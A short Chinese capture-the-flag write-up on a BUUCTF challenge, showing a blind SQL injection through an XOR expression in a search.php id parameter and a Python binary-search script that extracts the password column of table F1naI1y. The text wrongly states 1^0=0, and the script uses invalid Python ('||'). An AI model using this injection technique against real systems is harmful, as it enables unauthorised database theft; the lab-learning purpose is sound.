前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
题目
测试一下登录,发现是个幌子,因为给过滤掉的东西太多了,但是点击上面的1~5按钮,发现url出现id字样
再FUZZ测试一下发现盲注可行
异或'^'
是一种数学运算,1^1=0 0^0=0 1^0=0
,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真
1^1
有ERROR字样,1^0
则为这个界面,所以脚本我们可以这样写
import requests
flag=''
for i in range(1,250):
left=32
right=128
mid=(left+right)//2
while(left<right):
res=requests.get('http://e487615c-08e4-4b1d-a3d2-fae355b974c9.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)'%(i,mid))
if 'ERROR' in res.text:
left=mid+1
else:
right=mid
mid=(left+right)//2
if(mid==32 || mid==127):
break
flag=flag+chr(mid)
print(flag)
这里只写了最后爆破出flag的一步,爆破表列名等操作都差不多就不写了